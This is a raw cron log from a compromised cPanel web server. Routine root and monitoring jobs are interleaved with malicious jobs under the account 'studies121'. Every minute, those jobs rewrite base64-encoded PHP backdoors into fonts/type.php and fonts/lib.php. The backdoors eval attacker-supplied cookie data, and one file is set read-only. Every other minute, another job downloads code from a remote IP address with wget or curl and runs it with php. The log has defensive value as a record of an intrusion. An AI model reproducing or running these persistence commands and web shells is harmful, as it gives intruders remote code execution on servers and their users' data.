Sep  9 08:36:01 ip-184-168-122-23 CROND[13810]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:36:01 ip-184-168-122-23 CROND[13811]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 08:37:01 ip-184-168-122-23 CROND[13994]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 08:37:01 ip-184-168-122-23 CROND[13995]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:37:01 ip-184-168-122-23 CROND[13996]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:37:01 ip-184-168-122-23 CROND[13997]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 08:38:01 ip-184-168-122-23 CROND[14097]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:38:01 ip-184-168-122-23 CROND[14098]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 08:38:01 ip-184-168-122-23 CROND[14099]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 08:38:01 ip-184-168-122-23 CROND[14100]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:38:01 ip-184-168-122-23 CROND[14102]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 08:39:01 ip-184-168-122-23 CROND[14211]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:39:01 ip-184-168-122-23 CROND[14214]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 08:39:01 ip-184-168-122-23 CROND[14215]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 08:39:01 ip-184-168-122-23 CROND[14217]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 08:39:01 ip-184-168-122-23 CROND[14218]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:40:01 ip-184-168-122-23 CROND[14337]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 08:40:01 ip-184-168-122-23 CROND[14341]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 08:40:01 ip-184-168-122-23 CROND[14343]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 08:40:01 ip-184-168-122-23 CROND[14349]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:40:01 ip-184-168-122-23 CROND[14348]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 08:40:01 ip-184-168-122-23 CROND[14346]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:40:01 ip-184-168-122-23 CROND[14342]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 08:40:01 ip-184-168-122-23 CROND[14347]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 08:41:01 ip-184-168-122-23 CROND[14496]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:41:01 ip-184-168-122-23 CROND[14500]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 08:41:01 ip-184-168-122-23 CROND[14499]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 08:41:01 ip-184-168-122-23 CROND[14501]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:42:01 ip-184-168-122-23 CROND[14589]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:42:01 ip-184-168-122-23 CROND[14591]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 08:42:01 ip-184-168-122-23 CROND[14593]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 08:42:01 ip-184-168-122-23 CROND[14594]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 08:42:01 ip-184-168-122-23 CROND[14592]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:43:01 ip-184-168-122-23 CROND[14779]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:43:01 ip-184-168-122-23 CROND[14782]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 08:43:01 ip-184-168-122-23 CROND[14783]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 08:43:01 ip-184-168-122-23 CROND[14781]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:44:01 ip-184-168-122-23 CROND[14901]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 08:44:01 ip-184-168-122-23 CROND[14902]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 08:44:01 ip-184-168-122-23 CROND[14904]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:44:01 ip-184-168-122-23 CROND[14907]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:44:01 ip-184-168-122-23 CROND[14908]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 08:45:01 ip-184-168-122-23 CROND[15048]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 08:45:01 ip-184-168-122-23 CROND[15049]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:45:01 ip-184-168-122-23 CROND[15052]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 08:45:01 ip-184-168-122-23 CROND[15054]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 08:45:01 ip-184-168-122-23 CROND[15059]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep  9 08:45:01 ip-184-168-122-23 CROND[15061]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:45:01 ip-184-168-122-23 CROND[15062]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 08:46:01 ip-184-168-122-23 CROND[15180]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 08:46:01 ip-184-168-122-23 CROND[15183]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:46:01 ip-184-168-122-23 CROND[15184]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 08:46:01 ip-184-168-122-23 CROND[15186]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  9 08:46:01 ip-184-168-122-23 CROND[15187]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 08:46:01 ip-184-168-122-23 CROND[15182]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 08:46:01 ip-184-168-122-23 CROND[15185]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:47:01 ip-184-168-122-23 CROND[15323]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 08:47:01 ip-184-168-122-23 CROND[15326]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 08:47:01 ip-184-168-122-23 CROND[15325]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:47:01 ip-184-168-122-23 CROND[15327]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:48:01 ip-184-168-122-23 CROND[15449]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:48:01 ip-184-168-122-23 CROND[15450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 08:48:01 ip-184-168-122-23 CROND[15451]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
